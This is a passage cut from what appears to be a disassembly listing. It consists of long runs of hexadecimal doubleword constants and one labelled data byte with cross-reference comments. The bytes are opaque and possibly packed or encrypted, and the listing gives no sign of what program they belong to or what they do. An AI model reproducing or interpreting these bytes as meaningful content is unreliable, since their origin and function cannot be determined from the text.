0B6994BE8h, 0A133CD41h dd 0F5C00410h, 0E57EE9h, 0A71CCE23h, 248A824h, 0E3B53203h dd 0C0829153h, 0D643B0h, 9B23F4E7h, 0BFB320E2h, 80B4040Fh dd 0D90D87E6h, 0F2050110h, 72EF0036h, 3C29852Ah, 0D528CFB3h dd 0F100C463h, 0A28BFBBBh, 52F30Fh, 1C0EF61Bh, 0A3948187h dd 141D2D00h, 82766A48h, 15C788Ch, 8BB14674h, 0F8BA63BFh dd 4A71D4D9h, 0E507DE78h, 906A68D1h, 0BDFA0A90h, 6CDA00FDh dd 21424161h, 0AF00C30Fh, 0B23127F7h, 7E8D604h, 54658978h dd 46C6D0CEh, 4100BB5Fh, 7E588CBCh, 0B86C28h, 15D0BA05h dd 0B5C7D435h, 1EB02A00h, 4B73D18Bh, 915B0778h, 0F0764E5Dh dd 0DAD518BFh, 93A4A301h, 0FA5A1D8Dh, 38678C8h, 7203E9FEh dd 11B865B9h, 2300E6F9h, 5BD4033h, 341CE89h, 0AB1A029h dd 8AD890D6h, 6D6063FEh, 4E7C8411h, 9B42002Dh, 0D31138F6h dd 0D4070907h, 0CD41525Ah, 0F88BA723h, 0F58B771h, 4C786463h dd 0FF9ACB00h, 0CC039CBCh, 7F189690h, 888E4BEh, 0BD8D5CAEh dd 0DE862300h, 0BB38ECE7h, 0AAE8D8E6h, 6BCA610Eh, 9E35208Eh dd 744EA1h, 0DFB151D3h, 0AEB4E762h, 4DD911Eh, 0A060FFC0h dd 1CB8802Ch, 0DEACC531h, 35000ADh, 55A4CF0Ch, 83FE3300h dd 9C3049B5h, 299100EAh, 0BE9F89CCh, 0FB60435Fh, 73A0F4F1h dd 0F9280EF8h, 0A3E06A0Dh, 5CD54B2Eh, 2A30DC90h, 31662809h dd 0F10760FDh, 0FBE7D198h, 3DC9700h, 8F4C0CB3h, 0C56C00CAh dd 77ACDB68h, 7100A09Ah, 853E395Ch, 9D15B2h, 7F54D0F0h dd 105DB99Ch, 1CFCDF3Eh dd 0D140EBAEh, 138E497Ah, 68691487h, 0D8009C89h, 0CF62C8C1h dd 0F0E398DBh, 0BAF8F24Eh, 0A2A96E01h, 0E4E31D53h, 0F3E87D0h dd 75EE6FD9h, 198B85A1h, 800DCD34h, 12F12AC0h, 0F79BE0Ah dd 58CF2FC1h, 0BDDE0280h, 0A30754D1h, 33A1F4C9h, 0D4A97F80h dd 0D3DF24C3h, 0CD1480D4h, 93F3C875h, 34803E00h, 0B860C60h dd 0C7D80092h, 73D5369Dh, 0E81E469Ah, 20F935Dh, 115A803Bh dd 0F984AFh, 865F1F83h, 5947FA1h, 0BA906B00h, 17FF4E6Ch dd 0AC2D122Bh, 9E0443B6h, 0B8010F1Fh, 88C2779Ah, 0BED4C9D2h dd 288B49B3h, 0BDD4B60Ah, 0C5590097h, 0B81C053Fh, 58CE6413h dd 0AB128E05h, 0FC880280h, 0BC99008Bh, 0B7181C68h, 0C0003D75h dd 0A954F085h, 0FFAB20h, 0F20444FAh, 13A62B8Eh, 0B3EDA41Eh dd 0ECBFF080h, 16FE32Eh, 0E61D90ABh, 0EC2A60DCh, 0F7004B04h dd 0A062E79Fh, 7E032DCBh, 0E56812DAh, 92A44381h, 303ADB2Ah dd 15A40985h, 6424008Fh, 69966D4h, 0E1165CD1h, 9A00105Dh dd 0F0C09148h, 6D9C7h, 0D024EC67h, 11BF9434h, 986A4500h dd 0F2D4D382h, 79C207E7h, 7006AC74h, 0E2C35DB6h, 4CD01800h dd 0FF0A6446h, 0EDDC004Bh, 2FDB1B45h, 8801DF2Ah, 0E831A56Ah dd 0C83004D0h, 1B1700BAh, 42E526C8h, 1D0079D1h, 1E4CB025h dd 1295992h, 6C3185BEh, 0E0EA1C75h, 0B8003D97h, 8B3F2190h dd 984F2Bh, 0E8D7A296h, 0DAC218CBh, 1FEEF60Eh, 24A3C0FFh dd 28480Bh, 0C61D861Bh, 0D43D34Eh, 817F4900h, 5606FB1Fh dd 0E2250004h, 7EF538EDh, 4C0EA12Ch, 0A0B16E65h, 27BF1274h dd 14B5002Bh, 0E58EBA5Ch, 0C2006F50h, 0A28871Dh, 0D376D9h dd 93F6A44Dh, 31A6826Ch, 38235D01h, 9674750Dh, 26A6824h dd 582E4A3Fh, 61E092C5h, 4D0C9156h, 11AFBC78h, 1BDC00CDh dd 8D52DDD3h, 9000A3DFh, 0B588A7C6h, 0B02406h, 0C2D9C5E2h dd 0AD630A9h, 92EDCE00h, 1A478263h, 4BE0205h, 686B14ABh dd 703E5CE0h, 64CAED00h, 652F44A8h, 0EC2800FBh, 0A4F23DA3h dd 0D6006F82h, 4014C198h, 45DF7Bh, 0D2246586h, 90027A57h dd 0E5B91101h, 5D44FEEDh, 48C395D4h, 2E007BABh, 78CBF1BEh dd 70791331h, 0D868DE00h, 439DADE5h, 0A09500A2h, 0C4D1E8B7h dd 2007E44h, 0FDCF264Fh, 0FC3E2Dh, 506CD267h, 297C0A7Fh dd 6F2E5C00h, 0A544D69Ah, 0E5DD0027h, 681CFFE1h, 0ABB0865Ah dd 3F354700h, 1EEDA574h, 51550F0Eh, 0D0A01938h, 72290861h dd 8406DA01h, 76F1FC8Eh, 449CE340h, 0AC7D3AC2h, 0F6FF790Fh dd 1D261Ch, 834CD736h, 0C41C0A45h, 0D50087F9h, 1904463Eh dd 1FC7280Fh, 7A5D00A3h, 533FA50h, 0DB00A66Eh, 0C13220Dh dd 17DC874h, 28330AFh, 0C4B6714Ah, 1C795E2Bh, 8FB2CF00h dd 1728F672h, 23333FBEh, 404BFB00h, 53107C94h, 0C400EB7Ah dd 1EF2E25h, 27E45E4h, 0BDB4E6CFh, 0C560B52Fh, 0F5033EC3h dd 79CE69AFh, 7F27900Bh, 0F21E3CCDh, 4E226D00h, 0CA882E3Fh dd 300BB7Fh, 0BF62E23Ah, 15D5440h, 0C135BE71h, 0D5DB7C10h dd 0D3B8C3F2h, 0D800403Ah, 1417A436h, 0D589F3h, 84D79764h dd 0F807CC6Fh, 0E56C3Ah, 0CF0A4027h, 17BE41h, 4DFEAAFAh dd 37BA4961h, 0DE7C3C00h, 0B58E9815h, 69DA0092h, 8BC2341h dd 2264A73h, 4D000153h, 19037E62h, 251F005Ch, 0DF700EA2h dd 4C0BA02Ch, 0F073A3EAh, 0B90F1E28h, 88E5C02Dh, 0C1FF4A86h dd 5FB6948h, 0FE631789h, 56970800h, 30A6186Ch, 0E128F32Bh dd 6C900325h, 5C1BF200h, 0CC23368Ah, 0ABD0020h, 0B6859978h dd 2500AF26h, 4C3EA0FCh, 696596h, 3C4376CCh, 46F41BB4h dd 0AEE094ABh, 2B09E6A2h, 865902AFh, 561476Bh, 19E10C99h dd 30803FEh, 0B3D89857h, 0A3024ABFh, 186F5688h, 0CC50A2A7h dd 8DB41002h, 5DB53607h, 0C85318Ah, 73891400h, 6F6542h dd 4C9CADD9h, 15E39822h, 30601A18h, 0D8962Ch, 43D15262h dd 94BD65ABh, 207B5E30h, 0E6F8A71Ah, 6D7E0F93h, 0DF60E185h dd 0DEDB63F5h, 62FE5100h, 67C998C8h, 0F2860077h, 0DDC56B0Eh dd 1000BF4Ah, 0A1FDA68Ah, 72E84117h, 7A780145h, 0E1F07090h dd 6F0CF8B5h, 31BF5F00h, 45C173DBh, 250D006Eh, 24B9A497h dd 0AB001AF2h, 0F84265F7h, 2803612Ah, 0E8AC6D8Eh, 24CA140Ch dd 7084C0h, 0F1ECDE0Ah, 12092EEh, 13CF0400h, 9033A9B9h dd 5C394827h, 8695BA00h, 613EDF67h, 0C08B9F00h, 4BB45E17h dd 50D30AD1h, 94DC6A3Fh, 1FC0414h, 0C0D5C528h, 20768907h dd 752676Ch, 0AAC481E8h, 0BC473D6Ah, 54B5D200h, 62ECFEB2h dd 0E9EB293Ch, 22160B22h, 1F22B446h, 216F243Eh, 4A12D947h dd 893A5F10h, 44500873h, 0BC441E3Eh, 80B67E35h, 9C8042D7h dd 818B04F2h, 85112CB4h, 9D7F8090h, 0A307614Bh, 8D14AC7Ah dd 395F1230h, 347D1FDBh, 1797C0FDh, 8449B9Eh, 1F00D499h dd 20C5CBB1h, 91A51E87h, 0D7B7C09Fh, 80B495A1h, 0E9638F00h dd 0C3B6BFCFh, 157B3A18h, 36BD6080h, 0A47A19FEh, 0E468E103h dd 70F8A096h, 92B40019h, 0B5BEF728h, 0DF00F3A2h, 948C1BC2h dd 3BCFA19h, 0F4443563h, 83AD1E79h, 13B84BBDh, 200F91DEh dd 0C0896B98h, 7726CD72h, 0DF1200D0h, 0C7D72D31h, 800AFDDh dd 7FB7F1F3h, 0E4E757h, 0D2843A79h, 0F428CE98h, 0D7732F00h dd 0A0931B13h, 86F00F5h, 617A11D1h, 5D004314h, 0B6234FE7h dd 3D54C71Eh, 5980678Fh, 0F42FDF18h, 754C02F1h, 0CB6401EEh dd 89EE6181h, 0F03AC72Fh, 6BC740FBh, 770D360h, 0C9F70Bh dd 32E0D503h, 0F19A7EFEh, 7A8FA3Eh, 979424C5h, 9C4D4060h dd 0BCE811h, 106795F2h, 0BAF65373h, 4CC348h, 404C2361h dd 0ECADDF76h, 4B7F0F56h, 0EF072D5Fh, 2451007h, 0F2F80550h dd 0A7331707h, 1627FEFDh, 0A4CFE7A0h, 88D0020h, 4E443C3Fh dd 3B00B422h, 39D7817Eh, 3EE9E46Dh, 0CA0BC20Ah, 8068EB0h dd 0BF1F2A19h, 6387A668h, 8FE07F94h, 0E4964BC6h, 33350086h dd 0B3295CC0h, 0D0055C9h, 0F1D37E6Ah, 1FB78A69h, 0C5A7C78Eh dd 0C0DC0CDFh, 0FBD95A2Ch, 0BFB91201h, 21966CB2h, 6AF360h dd 0C1F2FDEBh, 2B3E0893h, 495A901h, 5AB9670Eh, 18DD024h dd 0BED246D9h, 60D67041h, 4C7F1B54h, 3B10F700h, 8707137Fh dd 1ED57B9Fh, 0C80B51h, 656C84BFh, 9B01D3E9h, 0CC5E7C02h dd 1AEC9E34h, 91FD0017h, 57EFBF0Eh, 35769A7Dh, 75927801h dd 43253B1h, 3EF4F034h, 2282560Eh, 7FD083E8h, 0C4718BE0h dd 2F00EDFAh, 0C242D9EEh, 3C02D8FBh, 67806FBDh, 0EF257C46h dd 781DCCB0h, 0DF806B43h, 0D45CC750h, 5095769Ah, 381B823h dd 0AB7560BDh, 4BD009EDh, 240099BBh, 0EB842F8Bh, 7E6FC6A4h dd 30FB6EAFh, 0A18983C0h, 9F0FD42Ch, 1F992F6h, 0CEDF56EFh dd 0C3B0E047h, 4160C2h, 83077965h, 0D7E0547Ch, 639E9A00h dd 0A8F6A170h, 0C2CB001Fh, 0DED4FB97h, 8277BBCEh, 0D244AB00h dd 516EBF31h, 0CBB50099h, 3C342137h, 0CCB25B17h, 0A0851300h dd 0A7F169BDh, 4ECB0C1Dh, 0ED10969Ah, 9B7B8600h, 900183B0h dd 0D2C148E4h, 0C233CB00h, 7A6BEF6Ah, 142AF000h, 0BD66919Dh dd 0E72400D9h, 0EA78B932h, 0D4078BFBh, 0BBE8A073h, 0AB12E500h dd 0F9CF01A1h, 4580518Ch, 0E885C12Eh, 2A1D0A77h, 3B80F292h dd 97ED7D33h, 8044B0B3h, 179098h, 55219C5Ah, 4053AD5Fh dd 580F5DF2h, 6FF76416h, 607A072h, 231BEEh, 4B953FFh, 0C1212FD3h dd 19A5EA30h dd 39F903B4h, 58C89905h, 5F15F616h, 4F8B423Ch, 0C7409F6Eh dd 3A0330F0h, 412D224h, 5DFD888Ch, 289A2D59h, 2118F1DEh dd 185199D0h, 0A8D238E7h, 0C87E6B64h, 1BE1D600h, 0B19BA9AFh dd 0B2EE09DBh, 0EF806F33h, 0C8D549B9h, 6692A00h, 0C0D80A27h dd 4B16007Fh, 536F8AC9h, 6000FA63h, 35748086h, 0C9BD440h dd 31DD236Ch, 0F00F0CF2h, 80E4AEC5h, 7A5617E2h, 291B00C1h dd 6B0267AFh, 8C0339B1h, 9A89D38Dh, 0D598C8F8h, 748700F5h dd 79FCCABh, 58006EBCh, 0EA5EDC9Bh, 9F82136h, 96AA024h dd 95631000h, 7A008D96h, 5A6CF745h, 0CF269D82h, 84A70D10h dd 9253006Bh, 0F100D483h, 0A3F6B51Fh, 7AF8DE89h, 0D9A1005Bh dd 33DD74FFh, 9624AB4Ch, 0A8021043h, 48AB0FAh, 0A40BC04Eh dd 0C7384495h, 0AD8281D9h, 0BB391DC6h, 30704461h, 8F03044Bh dd 0D01A2E74h, 0AEDE3120h, 0F432E10Ah, 0A801C01Bh, 306E2E6Ch dd 2D008C28h, 0E45E3540h, 0E2002932h, 71212707h, 1F347C2Ch dd 0A87E3960h, 161E7BE4h, 40872368h, 0D69AF790h, 0C600FC16h dd 29B5B99Dh, 3A23EC0Ah, 1D809C4Ah, 625E7E0Bh, 3E038ACAh dd 0A99D4BB3h, 0C930007Ch, 0E8941D65h, 85005BA3h, 521C24FEh dd 0ECF007h, 7FB435D5h, 73B10AFCh, 18CE6D00h, 71FE8DDDh dd 5AA30072h, 4B824BAh, 0EA0CEC6Eh, 20B6C068h, 2EE888h dd 0C452A921h, 2BA532BFh, 0BD209F00h, 8FA70CF6h, 92200DBh dd 167206EAh, 0AD00B881h, 94DCD9F2h, 1CFE17h, 0C7B7CB9Ah dd 80935068h, 0BABB4100h, 9D07DE7h, 2B300099h, 0B94FFE67h dd 145D0FEBh, 503BB4h, 5D69BFE0h, 0F0B9FCEh, 6C9609BBh dd 21A89800h, 0D4E43AB9h, 0FF169400h, 0D5DA1142h, 434B0004h dd 460F1FCDh, 72020A63h, 95EE34C4h, 6D54E022h, 9CCE00A4h dd 6E2F2533h, 8078C7B9h, 9A158500h, 380C241Ah, 75C96BEh dd 0D063407Eh, 0D3E35DABh, 45A57000h, 6688E4CDh, 1A680005h dd 0F86CE5A1h, 0DE000AB2h, 9607F07Eh, 0CA4270h, 0FF70428h dd 0D465683Eh, 0E0FAD8E3h, 0C2729E12h, 2EF72C80h, 0F89467DDh dd 0E18D42C6h, 10CD2040h, 0D76C6900h, 62AA84DFh, 0A51E02ADh dd 0AF58D3Bh, 36D90040h, 0BD120D00h, 38B64C1Ch, 33850096h dd 941EA21Dh, 0B30CFAB9h, 5079DD78h, 0BEC70086h, 96A0F754h dd 0DC7AFE33h, 0C8A2ED00h, 0DB63C684h, 0E2EA00B6h, 71BC6B25h dd 4007FF1h, 0C543D6ABh, 0F0DBF6h, 81649FFDh, 0EDEC6528h dd 69004896h, 502DAD4Ah, 35802EE6h, 3C7A036Fh, 9600B9B4h dd 0D37CB638h, 0ACDADDh, 63558C19h, 61A0A15Eh, 0E5252800h dd 0CFF2625Bh, 328B3A29h, 7594E680h, 2A7C4555h, 0B14BCB8h dd 0DBA853h, 8A3E7F8Dh, 364A156h, 0AF315C0h, 1AF8E981h dd 1101DBECh, 0DAC97A0Dh, 74D4F68Dh, 3B080FC0h, 62003D40h dd 36A14D88h, 92E05A18h, 6965821h, 71566339h, 0C109D82Dh dd 602C3266h, 0B284CC44h, 5DE624h, 418BB08Dh, 5061E782h dd 3045F400h, 6251733Eh, 0AEA938D7h, 0DB5CA082h, 40401A20h dd 8200D3ADh, 0FE3743A7h, 0A0C9560Bh, 0DD3DB9h, 545EDB71h dd 15B01FA3h, 0BC00607Fh, 7FBA16AFh, 0F422B9h, 10A0B3BEh dd 31097AE9h, 661E67FAh, 7500CE9Dh, 13A22DDAh, 58500FDh dd 2A5D5E9h, 3400388Eh, 52F29F4Eh, 39C4F8Ch, 91B43296h dd 0FDDA8415h, 82AC4040h, 44535B0Ah, 0CF81CCB1h, 0B0C8EE24h dd 0B879AF43h, 7F0BD5Dh, 0AC4D69D0h, 40BB25E4h, 3B750CF8h dd 9701BEF2h, 57014F7Eh, 0BC202C65h, 0F4AE3D41h, 46E3AC4Bh dd 13C84CA4h, 9040DFB4h, 0B6A9F898h, 200B8982h, 7A007EE8h dd 0A78826FFh, 1A1C3F9h, 25B87DACh, 202D770Dh, 7E027F4Dh dd 6B44C61Dh, 1847935h, 309B18F8h, 38FE80A7h, 4ECF7F06h dd 3DD00F4h, 82BA4B1h, 9800D843h, 0C38E737Ah, 0F7598816h dd 1F2320E8h, 407DE65Ah, 6C5ECAD6h, 921C561Ah, 0CCA8FDACh dd 84A21213h, 11069003h, 9D249004h, 788C0020h, 4FF3361Dh dd 3E00D8B0h, 0F0F29E4Ch, 585FB49Ah, 7CC24Eh, 99FFD66Dh dd 783BF6CEh, 680FA100h, 0A22C2D88h, 0A7010082h, 0C19DC887h dd 160F8B4Eh, 22BF6BCAh, 48FBFE52h, 77B42954h, 0A61001D1h dd 9C8E8472h, 796EC0B0h, 53D6D900h, 75F6239Ah, 39731CE8h dd 9D2B800Fh, 503A8289h, 9C70C00h, 0B9B05A98h, 0EB1B00ABh dd 0B79DF776h, 0B57F301Eh, 4224D300h, 59152E38h, 0AE5A00B1h dd 99CFD27Eh, 400F90E9h, 20EE665Bh, 0B4024C8Eh, 0A61A0042h dd 9FB5E41Fh, 36E4FD29h, 0FF4DA33Bh, 7C9573Bh, 1B712CCh dd 0D0F77CB3h, 3F5942Bh, 1B892670h, 44B0247Dh, 7300198Ch dd 991FBD98h, 37951Ch, 4C2D6D14h, 0B65C4990h, 74311D00h dd 2A3ADA7h, 4BDB00C5h, 0E46233A8h, 2500F5D7h, 93AFCC1Ah dd 78B1851Dh, 1E95004Dh, 7D1C405h, 197B5532h, 34B26300h dd 62C30E5h, 592F079Dh, 0D06E5A86h, 0BC4AAD45h, 6F6A6000h dd 9B054D64h, 0A4B0038Ah, 0FEBD76CDh, 0AC98FAA3h, 3800996Ah dd 48349E94h, 0F4D30116h, 3A24DEFh, 5E87BA00h, 0A80C3B0Eh dd 1422CE0Eh, 1C9DE0E8h, 2142B2h, 0CF121E6Ch, 0F2BC98DDh dd 78265307h, 8C30550Dh, 7B560Ah, 315449ACh, 29626F05h dd 0D4A62007h, 0EB538677h, 3022A19Ch, 7BAF6DCh, 421802ACh dd 8B0E206Fh, 0FA398AFDh, 85278975h, 1CC30004h, 1EA5B2AAh dd 4036FF93h, 0EF0250C7h, 0AF000146h, 8CE63A69h, 7D74C1h dd 0FE4B67EDh, 0D9FF851Bh, 2ACAB100h, 7269550Ch, 2C6872CDh dd 3FE7461Ah, 4D8AEF00h, 95BDE460h, 0BE393C06h, 11887Ch dd 0F4101B65h, 1149DD2h, 0B55A1C0Fh, 455FC032h, 77270618h dd 0B3880779h, 0B00B639Dh, 0DB3BB4CFh, 0A195F8C0h, 3F625A3h dd 2F87E74Bh, 0EB04C9Bh, 0DC00CED5h, 79F19752h, 150B1FA8h dd 18A6E52Bh, 4FD54D80h, 0FA19CC4Eh, 42184A7Bh, 52ACD8h dd 0C4BAF059h, 63169F5Ah, 0EF736EFAh, 0EB68B903h, 0F835522Ch dd 7F72A21h, 0BDB4B714h, 0B2F80FDh, 0AA00611Dh, 63A7764Ah dd 0F38F44h, 0C5E5136Bh, 0FEDA4B9Eh, 0A869D601h, 0A20FEE96h dd 0CFBC30h, 28E0EBDFh, 1112DB32h, 0FA90CA02h, 40FB5CAEh dd 4AFD6Ch, 5D92F722h, 45962D03h, 0BB30BF00h, 772BB7B4h dd 683A0043h, 0C8557A34h, 0E8004B42h, 597511Fh, 719EE7Ch dd 5C9FE627h, 0BF2A9008h, 2100034Dh, 0CE8BB96h, 756E3624h dd 0ED4617B4h, 8C650009h, 0D41C87ACh, 3F00FC78h, 578617EAh dd 59A79Eh, 40233666h, 0FB011AFh, 1D2AF407h, 0B7A055DDh dd 6CB2A8h, 0A7D55A65h, 34A339E1h, 0E7BEED0Eh, 0EFC0E00Dh dd 0FAF6B9FFh, 0C1EC1354h, 0F95500F0h, 3DFA9394h, 3E5B5E00h dd 0F3734A9h, 0B51B007Ch, 0ED1E2B91h, 93E8BD1Ah, 384E800h dd 0C36C5B3Ah, 576D00EBh, 8AF74BDEh, 0BD00C4D3h, 0CCFDED81h dd 271F2Ch, 11C7F406h, 649B9856h, 2A32E300h, 173F50C4h dd 0D155010Fh, 6A133A0h, 0E8B820ADh, 8354Ch, 961D5129h dd 0F94FF64h, 0CBD4B02Dh, 378A28A0h, 90795CE9h, 9FF33A3Eh dd 8200DE7Ch, 4DBB0B36h, 3F851EE8h, 0B5B24039h, 0E29991E3h dd 7120FA4Dh, 0BB303273h, 0AA346A20h, 3A850180h, 1078E02Dh dd 0A4F8C7B7h, 550031ADh, 0B67A9996h, 77F951h, 683DE08Dh dd 0B9368B0Fh, 3F766F00h, 6C20D0D8h, 985E0E3h, 81B7F3C3h dd 0A9BDE803h, 0DB287B98h, 0F601B8F8h, 56456DE8h, 0AAFCD4D6h dd 86AC2E85h, 0AF1F0017h dd 0F349CA14h, 3607BC90h, 0D82F8AD4h, 0CE658F00h, 48760FE1h dd 0B700FBD7h, 7114C511h, 24B3B93Eh, 9300345Dh, 36E0FAD1h dd 0C171F12h, 0FF0E407Ah, 2A34439Dh, 0A9C8C300h, 92139839h dd 6993001Ch, 37117854h, 9B0F03D6h, 0A0803D77h, 443F0DF2h dd 0E98800CCh, 92ED407Dh, 0FEED1E61h, 57B0CC90h, 2F12AF12h dd 6B790402h, 0CE66C0F0h, 0EB4D0078h, 90D86AB7h, 0B6008AB3h dd 8D65BD74h, 3895046Ch, 3180E43Eh, 0B955308Eh, 0C50FE0A3h dd 20473A80h, 96D165A2h, 86E900D8h, 1A22CCAAh, 0B4004ADAh dd 84A05711h, 129B77h, 17E4D7BBh, 5E0A6979h, 3DEE5C03h dd 886EC895h, 3B342E15h, 6B80BD55h, 0E3F39E53h, 8001EC1h dd 0ADD4AB9Ch, 309AC71Bh, 24D19388h, 7814F74Eh, 1C408E9h dd 0E29B1C6Eh, 71F0A32Fh, 0F10A00EAh, 60ED8AE5h, 780786C2h dd 444B4E13h, 7DFBA00Fh, 5015FCh, 1FC894E6h, 3DB9B7E1h dd 93843600h, 0B6BA32E7h, 57351C1Eh, 20720D7h, 2B63D103h dd 0B0437EB5h, 0E8D56D56h, 1CFDB379h, 2CCE899Eh, 47BC0048h dd 72AB6C33h, 8F3C5B18h, 0EEA463A8h, 209292h, 27451E15h dd 2B447665h, 2814A91Fh, 80BE630Fh, 58C83BD1h, 3A3F0067h dd 1E7D0E72h, 400335A4h, 9C065FC7h, 0B802E042h, 0AF6E338Bh dd 0C800798h, 10013F49h, 0BA377BC0h, 25F0FE24h, 0CC840520h dd 0A55BACh, 92950E48h, 5DF8B483h, 0E581B01Eh, 77540580h dd 59337BCFh, 30AB04Dh, 80B8659Ch, 2B423C7Eh, 0AC00B518h dd 4DE47C28h, 0C53AC0h, 566ECD4Ah, 0B99A91ECh, 27C39F00h dd 0CFA92190h, 2F5D008Fh, 66E10918h, 9D00481Eh, 2EFA36F8h dd 0F073863Dh, 63170049h, 5C7555F1h, 0A300AEFCh, 4EC29715h dd 962A02h, 88938E17h, 0ABDF670Fh, 0F6CDE500h, 0AE29AD5Eh dd 0F8AC0521h, 9F3ED5h, 8EC9B7E2h, 0AD00EA3Ah, 6FE5683Ch dd 0DA0A19h, 81415BF7h, 8F1863D5h, 9E56A201h, 0EE483CE9h dd 0F1F6DE4h, 64AB477Bh, 27837D40h, 0A400164Dh, 1790E572h dd 0D7EF18h, 0D6F97EFDh, 0F55B846Ch, 9821BA05h, 980161E0h dd 438A344Dh, 0BC50A454h, 0FB1CE004h, 1E28C0D8h, 0F93FF5BBh dd 93AEC414h, 0D58A00ACh, 1CFBFFACh, 678C038Eh, 57F61D72h dd 44FA2939h, 927344A9h, 22687B20h, 46504290h, 0EC44F128h dd 0DD14A0A6h, 92204063h, 85DE2284h, 0A5E410EDh, 0BC44009Ah dd 0DF8F3AB9h, 0C4B02DBFh, 0D10050F0h, 1A2B9807h, 0A0BE57h dd 7EC5D706h, 1FA274EBh, 0DC6EC400h, 0BCCC4CD9h, 0AD04075Ah dd 10DB9067h, 0A3387AD4h, 5922D307h, 0C0BE7D47h, 94D043E8h dd 0AE8602BDh, 5D21198Dh, 1D64ECC0h, 1FA39540h, 8FA827E2h dd 0C6A38E07h, 2100EE52h, 18DF3B4Fh, 151408C7h, 0D003E5BBh dd 37DEBD00h, 0F4C81A67h, 0DDCB0400h, 73C3F0A2h, 63440E0Ch dd 6FE69C3Bh, 0E4FAAE7Eh, 64798A00h, 0B04F545h, 0B1A20055h dd 486E9DACh, 0CF245446h, 4E83F4E3h, 0F0A2EA58h, 0E20CD0B9h dd 387C35h, 0E15BB1C7h, 0F74D3A0Dh, 0B576FA1Dh, 1100F0ECh dd 0D31E1A12h, 0B1EA00A2h, 4195128h, 0A07F5460h, 0ECA3C903h dd 0A8A59A0Fh, 77977Ch, 96E0594Eh, 1F6C3CE2h, 87D7D100h dd 0D07CAD29h, 1DC77CBh, 0A52C5543h, 70547ACCh, 0CDF046DCh dd 397B91F8h, 0D80EC22Ch, 83A0E600h, 18315CA1h, 1990EAF2h dd 8705EED9h, 5310BCB7h, 6A33DC80h, 0F79E00C3h, 0C9690E93h dd 0A70081DAh, 0CE3964F1h, 233F515h, 0C72C7452h, 6A40186Bh dd 0D4B0B05Ch, 65FDFF00h, 37912812h, 0E134009Eh, 0CF645FBBh dd 0A1003E4Fh, 924AB013h, 5AF1DF6h, 0E3D17D71h db 4 byte_520045 db 0, 0DCh, 14h ; DATA XREF: ___:004385A0o ; ___:004385B8o dd 5C976EA3h, 8FA4D40Fh, 0F884F3Eh, 0F60937h, 73B12B41h dd 9D3300CFh, 10A847C8h, 52FE23E9h, 535FD600h, 5921CC69h dd 0EB010B83h, 0C000C59Bh, 0A55284D8h, 0AEE09494h, 1A6F57h dd 0F8E2D786h, 94D19FA4h, 0D9317713h, 0E07211h, 0AD3E4082h dd 160F51Dh, 0D39D88A9h, 2401A429h, 2C00A830h, 0DA16A3C3h dd 0C25532h, 0B5670907h, 269E237Eh, 47E89F1Fh, 40FA80BBh dd 0C8AD0E2Fh, 6C5D00E2h, 94B211A9h, 904CA085h, 1F78091Ch dd 629821D4h, 7EF9DCDAh, 7915FDD4h, 0F7E60076h, 80CAF557h dd 0F0001069h, 7B0A3D1Eh, 2715FBA6h, 1F60E6B0h, 9A009218h dd 9374637Ah, 78D16236h, 0E2C300C6h, 0FB511A33h, 961C0167h dd 28010E8Fh, 3C0B23ABh, 5382CCh, 184354Ah, 0B313AACFh dd 9A197E00h, 82029BE9h, 116B0F25h, 0F640206Eh, 0F350B5F8h dd 59CA7209h, 319800D4h, 0B788E7Fh, 0D82D532Ah, 79E4A080h dd 0E312521Dh, 680013E2h, 14128CEEh, 85700042h, 7FB4A821h dd 442C5007h, 0FB0A3679h, 990EFB5Eh, 2C0093B3h, 0AC544188h dd 0A6D60148h, 397CF4A1h, 68FF082h, 4720DE00h, 0A30A532Fh dd 190900B5h, 9BE0E172h, 3D00298Ah, 0BBB46C0Dh, 12F75B24h dd 817006h, 8AFDE92Bh, 2B003936h, 5A720D6Ch, 416407h, 0D291A060h dd 77BF2E27h, 0EF60807h, 49436602h, 618192FEh, 0D82994FCh dd 28B4C202h, 24400C42h, 2C9010FBh, 85A13C04h, 7CC0B572h dd 27F0111h, 16679364h, 70607BE3h, 2E000313h, 921B0754h dd 0E1D529BBh, 8DD8101h, 0CA6C3CFCh, 7D02DA00h, 31F10C3Dh dd 999A5500h, 0B489A614h, 0B754094Ah, 908091D2h, 104FE2CAh dd 1E09E303h, 130E888Bh, 0CCF32F0h, 5040F0DBh, 0B42D8609h dd 7A91A0B2h, 0F2C44E3Bh, 0EB9800DDh, 6A03833Eh, 0D00035B8h dd 0ED814D1Fh, 652E90h, 0FFA7746Fh, 4751CE7Ah, 0BB21E403h dd 0E0F5DAAEh, 0E095BD07h, 1DE27799h, 40F43E98h, 128F0D69h dd 6A0E51B8h, 628962BDh, 55994657h, 50E4C640h, 31493Fh dd 9C52D4C7h, 0C115A4h, 0D2FCAA43h, 9D65B986h, 8EBB5B03h dd 0B0E98C99h, 0B30C14h, 23810EDCh, 0F183879Bh, 8C55A300h dd 7D0A9579h, 0B05490D6h, 0C5B51C86h, 0A5817C3Dh, 0AE303E5Dh dd 1FCCE43Ch, 5178709h, 1BCB079Bh, 0F7495E70h, 223E47Ch dd 5C9912A2h, 7460CC5Dh, 2C128475h, 540033E8h, 7FB9FD54h dd 6AFC60h, 81725F67h, 0D7DEA34Ah, 0AC73B07Eh, 565DEE04h dd 50801D3Dh, 0F21120Ah, 0E79C6387h, 7C37F5E0h, 46009DADh dd 0A1225E16h, 1E6E3C09h, 40317588h, 0EF19BE45h, 0EC98489Ah dd 4CC24700h, 844DBF21h, 0CE6500E2h, 0AE11F601h, 0E0007149h dd 19065534h, 727F7B91h, 8B2B006Ah, 96CC66E6h, 0A40062AEh dd 1A50749Dh, 0F4DEB8E1h, 0F18500E2h, 30AB9BCAh, 0EE00FA55h dd 0FC9F5097h, 95046Ah, 403B80D6h, 0EDABB971h, 0D2006B90h dd 8EEFC105h, 4869AD82h, 7E01A07Ch, 4A8F30B4h, 6A108995h dd 0B021009Eh, 0C8FFD4h, 12C2D206h, 4887D377h, 0C9B5140Ch dd 9B7869h, 1344393Ah, 0B35F5E97h, 6C74F51Ch, 6B208A98h dd 5039002Ch, 251F0248h, 0A800B22Ah, 0E1DEB065h, 6F6003h dd 390CCB18h, 55951BE3h, 0D48F0B00h, 0BC6796E9h, 4BDCBA46h dd 4FC0235Dh, 0F698F7F8h, 0BFF23200h, 0AEAB6906h, 27DA0192h dd 2C5B8C79h, 482CE3h, 0FDB38BF8h, 0AF2734Fh, 5B229C19h dd 0CD1B00D8h, 513B17C3h, 0F126B11Dh, 4441E11Dh, 5B164B43h dd 76649056h, 724601AFh, 0B8563BB7h, 2D582405h, 6C91FA00h dd 0CDB135A3h, 